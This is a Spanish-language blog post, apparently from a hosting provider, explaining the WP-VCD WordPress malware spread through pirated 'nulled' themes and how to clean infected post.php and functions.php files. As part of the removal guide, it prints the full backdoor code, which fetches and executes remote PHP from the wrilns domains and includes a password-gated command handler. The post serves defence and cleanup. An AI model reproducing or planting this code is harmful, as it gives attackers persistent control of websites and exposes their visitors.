WP-VCD el Virus más Extendido en WordPress – Cómo Eliminarlo

Categorias: Wordpress

WP-VCD el Virus más Extendido en WordPress - Cómo Eliminarlo

Virus y malware para WordPress hay un montón, pero ninguno está más extendido que WP-VCD.

Sin duda, la infección WP-VCD es la número uno, la que se lleva el gato al agua, la que más difundida está y la que más instalaciones de WordPress consigue infectar al cabo del año.

Y lo pero de todo, es que en la mayoría de los casos, el responsable de que tu WordPress acabe siendo afectado por el malware WP-VCD, ¡eres tú mismo!.

Pues si, WP-VCD se propaga por medio de plugins o themes pirateados que se descargan de sitios no oficiales y de poca confianza.

Un cosa, si ve la palabra NULLED en un producto de pago, como puede ser el popular theme de WordPress Divi, no significa versión de prueba, ni gratuita.

NULLED no significa gratuito, significa pirateado y es más que posible que hayan modificado el código para poder hackear tu web más tarde o temprano.


Nulled
significa Anulado y esto es así porque un tercero lo ha descargado y modificado su código para que puedas utilizarlo sin pagar, pero al modificar el código ¡puede hacer lo que quiera! y te aseguro que lo hará, de una forma u otra se «cobrará» el favor que te hace al poder usar algo que tiene un coste de manera gratuita.

Puede que no al principio, pueden pasar meses, cuando ya tengas la web montada y todo el sistema en producción, pero al final… ¡¡te hackerán la web!!

Hemos usado como ejemplo el theme Divi y no es casualidad, ya que en la mayoría de los casos donde encontramos el malware WP-VCP, es en este theme, pero no significa que sea el único.

En plugins de pago «nulled» también lo podemos encontrar y otros themes populares como Eduma, Cesis o Cerato.

Si buscas «Cerato theme» en Google , verás que te lleva a página de venta de Themeforest.net y que tiene un precio:

cerato theme original con su precio

y su buscas «Cerato theme free» verás un montón de resultados que te llevan a sitios como «downoladfreethems» y cosas parecidas.

Todas estas opciones son piratas o nulled, como quieras llamarlas, pero si las usas tienes un porcentaje altísimo de conocer a WP-VCD en primera persona.

cerato theme free nulled o piratas


Tenemos diferentes tipos de hosting, selecciona uno:


Qué Hace WP-VCD  con mi WordPress

Él o los creadores de WP-VCD han cambiado sus estrategias de monetización a lo largo del tiempo, pero hay algunas constantes.

Por ejemplo añaden enlaces hacia sus sitios web de descarga para posicionarse en Google y el resto de los buscadores en las primeras posiciones, como hemos mostrado en la captura de pantalla anterior.

De esta manera consiguen más «clientes» y pueden propagar con mayor rapidez.

Luego añaden publicidad con contenido malicioso que se mostrará a los visitantes de tu web, bien para ganar dinero con la publicidad, bien para intentar engañarles por medio de alguna trampa phishing.

Por cierto, tú, como administrador de WordPress, no verás esa publicidad, sólo la verán los visitantes, de esta manera tardarás más en darte cuenta de que existe un problema y ellos ganarán más.

Aunque si eres cliente de Hostinet, nosotros lo detectaremos y te informaremos de que tu WordPress está infectado con WP-VCD.

Incluso pueden redireccionar todo tu sitio a otra URL directamente, vamos, que pueden hacer prácticamente lo que quieran.

Cómo Elimino WP-VCD de mi WordPress

Antes te hemos comentado que Hostinet te avisaría si detecta que t sitio ha sido infectado.

Esto es así porque hacemos un escaneo de seguridad en busca de malware o virus que se hayan podido colar en tu hosting y esto está incluido en precio que pagas por tu alojamiento web, así que nos tienes cómo el antivirus particular de tu WordPress.

Si detectamos algún problema, pondremos los archivos comprometidos en cuarentena, protegeremos tu web con usuario y contraseña para que nadie más se vea afectado.

Te enviaremos un email explicándote el problema e indicándote cuáles son los archivos infectados. Algo parecido a esto:

email aviso codigo malicioso de Hostinet

El malware WP_VCD afecta principalmente a los siguientes archivos:

  • – wp-tmp.php
  • – wp-vcd.php
  • – functions.php
  • – post.php
  • – wp-feed.php

Aunque en las últimas versiones el archivo wp-feed.php no se encuentra y esto puede varia en cualquier momento, ya hemos advertido que el virus WP-VCD puede cambiar o mutar como sus creadores lo crean conveniente.

En cualquier caso, en el email que te enviaremos te mostraremos los archivos con problemas.

De estos archivos, sólo nos importan dos de ellos:

  • – functions.php
  • – post.php

El resto puedes eliminarlos directamente, son parte de WP-VCD y no afectará al sitio web, pero el archivo functions.php y post.php sin imprescindibles para el funcionamiento de tu theme y tienes que limpiarlos.

Por cierto, es un buen momento para decirte que da igual que el theme nulled no esté activo, si está en la carpeta themes de WordPress, WP-VCD se propagará al resto de themes instalados.

Para limpiar estos archivos, yo prefiero descargarlos y editarlo desde el ordenador con cualquiera de los editores de texto que recomendamos en este post.

Para descargarlos, entras a cPanel y vas al Administrador de Archivos. Allí encontrarás la carpeta Cuarentena y los archivos infectados.

La ruta será algo así:

cuarentena/home/TuUsuario/public_html/wp-content/themes/TuTheme/functions.php
cuarentena/home/TuUsuario/public_html/wp-includes/post.php

localizar archivos infectados - Administrador Archivos cPanel

En la captura puedes ver que el theme infecrtado es Divi, pero como hemos comentado antes, no siempre es así, WP-VCD puede haber entrado por ahí y luego infectar un theme legítimo.

Limpiar post.php

Una vez descargados los archivos abrimos primero el archivo post.php con cualquier editor de texto mencionado en el anterior enlace.

Veremos algo así:

captura post.php infectado wp-vcd

Como verás, al principio del código hay una linea que hace referencia al archivo wp-vcd.php y el código será este o muy parecido:

<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?>

Lo que tenemos que hacer es eliminar esta linea de código y guardar el archivo post.php, ya limpio, pero ¡¡cuidado!! No borrar el <?php del final.

Tiene que quedar algo así:

archivo post. php limpio sin wp-vcd

 

Limpiar Functions.php

Ahora abrimos el otro archivo, functions.php, aquí el trabajo es más complicado, ya que el código que tenemos que eliminar es más grande.

Tendrás que hacer scroll para localizar el final.

Mi recomendación es que vayas hacia abajo hasta que encuentres el final del código que será algo así:

fuctions.php final codigo wp-vc

Fíjate que en la captura estamos en la línea 184, así que es un pedazo de código.

Para seleccionarlo, tienes que tener cuidado con no borrar también <?php, como hemos hecho antes en el otro archivo, ya que la última línea acaba así: ?><?php

Este es todo el código que tenemos que eliminar:

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '913518a8045985658f18cebc523df95c'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='38fe324f1e4c10f398ec3de5ba615271';
        if (($tmpcontent = @file_get_contents("http://www.wrilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.wrilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.wrilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.wrilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>

 

Os tendrá que quedar un archivo functions.php parecido a esto:

functions.php limpio sin vp-vcd

Una vez limpios y guardados los archivos, hay que volver a ponerlos en su sitio, pero no en la carpeta de cuarentena, si no en la ruta que corresponda a cada archivo.

public_html/wp-content/themes/TuTheme/functions.php
/public_html/wp-includes/post.php

Después de subir los archivos, sigue las instrucciones del email que te hayamos enviado, es decir actualizar todo, cambiar contraseñas, escanear el equipo en busca de virus, etc…

También es conveniente que busques entre los usuarios de WordPress con permisos de administrador, por si ves alguno que no debiera estar ahí, eliminarlo cuanto antes.

Si nos respondes al email indicándonos los pasos que has realizado y enviado la captura de pantalla que solicitamos, la incidencia se dará por finalizada y tu web estará activa después de que revisemos que todo está correcto.

¡¡Ah!! y una cosa que no está en el email, ¡¡no vuelvas a usar plugins o themes nulled!!

Cosas a Tener en Cuenta

Como has visto, limpiar un sitio WordPress infectado con WP-VCD es tedioso y más si nunca has trabajado con editores de código.

Además, esto es lo que sabemos hasta ahora, pero los creadores del malware WP-VCD pueden cambiar su forma de actuar cuando quieran.

Los themes nulled o los plugins piratas son la puerta de acceso, luego pueden desarrollar los ataques con más o menos sofisticación, así que es posible que lo dicho en este post, publicado en diciembre de 2019, no sierva para nada a mediados de 2020.

Y piensa que todo este follón lo puedes provocar tú mismo, instalado un detonante llamado nulled…. ¿vale la pena?.

Si quieres toda la información detallada sobre el malware WP-VCD, incluida la empresa que está detrás y muchos más datos jugosos, puedes ver el informe completo que los chicos de Wordfence han publicado y animan a difundir.

Es un PDF de 27 páginas y está en inglés, pero es muy revelador:
WP-VCD: The Malware You Installed On Your Own Site

Hosting WordPress con SSD y LiteSpeed

  • Hosting especializado en WordPress con discos SSDWordPress 1desde4´38€ / mes
  • Hosting especializado en WordPress con discos SSDWordPress 2desde5´54€ / mes
  • Hosting especializado en WordPress con discos SSDWordPress 3desde8´34€ / mes
  • Hosting especializado en WordPress con discos SSDWordPress 1desde4´38€/mes
  • Hosting especializado en WordPress con discos SSDWordPress 2desde5´54€/mes
  • Hosting especializado en WordPress con discos SSDWordPress 3desde8´34€/mes
    • Almacenamiento en disco duro ultra rápido SSDAlmacenamiento en disco duro ultra rápido SSDAlmacenamiento en disco duro ultra rápido SSDAlmacenamiento en disco duro ultra rápido SSD
    • El espacio en disco es la suma del espacio que ocupan los archivos que forman la web y el correo electrónico.
    • La transferencia de datos mensual es la cantidad total de información que se descargan los visitantes de nuestra web en cada acceso más nuestro uso a través de FTP y correo.
    • Ideado para sacar el máximo partido a tu WordPress
    • Aumenta la velocidad de tu web + Info
    • Tras evaluación de nuestro equipo de migraciones
    • Te ayudamos vía email y teléfono en todas tus consultas sobre hosting web
    • Elige la versión de PHP que necesites
    • Certificado SSL autofirmadoCertificados Let's Encrypt. Mas Información AQUICertificados Let's Encrypt. Mas Información AQUICertificados Let's Encrypt. Mas Información AQUI
    • Contrata tu hosting web y consigue dominios gratisUna vez dado de alta tu alojamiento web, recibirás los vales correspondientes para registrar nuevos dominios .ES, .COM, .INFO, .NET, .ORG ó .EU.
    • Migramos tu web de tu actual host a HostinetMigramos tu web de tu actual host a HostinetMigramos tu web de tu actual host a Hostinet
    • Ideado para sacar el máximo partido a tu WordPress
    • Te ayudamos vía email y teléfono en todas tus consultas sobre hosting web
    • Hosting específicamente preparado para sacar el máximo rendimiento a tu Wordpress
    • Contrata tu hosting web y consigue dominios gratisUna vez dado de alta tu alojamiento web, recibirás los vales correspondientes para registrar nuevos dominios .ES, .COM, .INFO, .NET, .ORG ó .EU.
    • Cada dominio alojado muestra un contenido único y diferente del resto
    • Aparcando un dominio secundario en el alojamiento de nuestro dominio principal conseguimos que ambos dominios resuelvan indistintamente con la misma página que tenemos colgada.
    • Cuentas de correo gestionables a través de POP, IMAP y servicio Webmail
    • Tus buzones de correo y mails limpios de virus y con un potente filtro antispam
    • Centro de datos en Madrid (España)
    • Opción de contratación de IP dedicadaPuedes contratar tu Ip dedicada por solo 11.95 € al año AQUIPuedes contratar tu Ip dedicada por solo 11.95 € al año AQUIPuedes contratar tu Ip dedicada por solo 11.95 € al año AQUI
    • Opción de contratación de certificados SSL. Se requiere Ip dedicada.Puedes contratar tu certificado SSL por solo 14.95 € al año AQUIPuedes contratar tu certificado SSL por solo 14.95 € al año AQUIPuedes contratar tu certificado SSL por solo 14.95 € al año AQUI
    • Bases de datos MySQL disponibles para su uso en cada alojamiento web
    • ¿Quieres realizar desarrollos con Python? En Hostinet innovamos dia a dia en tu beneficio y por ello te presentamos como última novedad en todos nuestros servidores Web la posibilidad de desplegar tus aplicaciones con Python directamente desde el cPanel de tu Hosting.
    • ¿Quieres desarrollar tus aplicaciones con Ruby? En Hostinet te presentamos como última novedad en todos nuestros servicios de Hosting Web la posibilidad de desplegar tus aplicaciones con Ruby on Rails directamente desde el panel de control cPanel.
    • El fichero .htaccess permite modificar diferentes variables en la configuración de nuestra cuenta de alojamiento en el servidor.
    • El módulo mod_rewrite permite crear direcciones URL alternativas a las dinámicas generadas por la programación de nuestros sitio web (blog, foro, portal…), de tal modo que sean más legibles y fáciles de recordar
    • Te ayudamos vía email y teléfono en todas tus consultas sobre hosting web. Soporte en español por personal de Hostinet.
    • Completa recopilación de tutoriales sobre Hosting, Dominios y Wordpress
    • 30 dias para probar tu servicio de Hosting y si no te convence el servicio... te devolvemos el dinero!!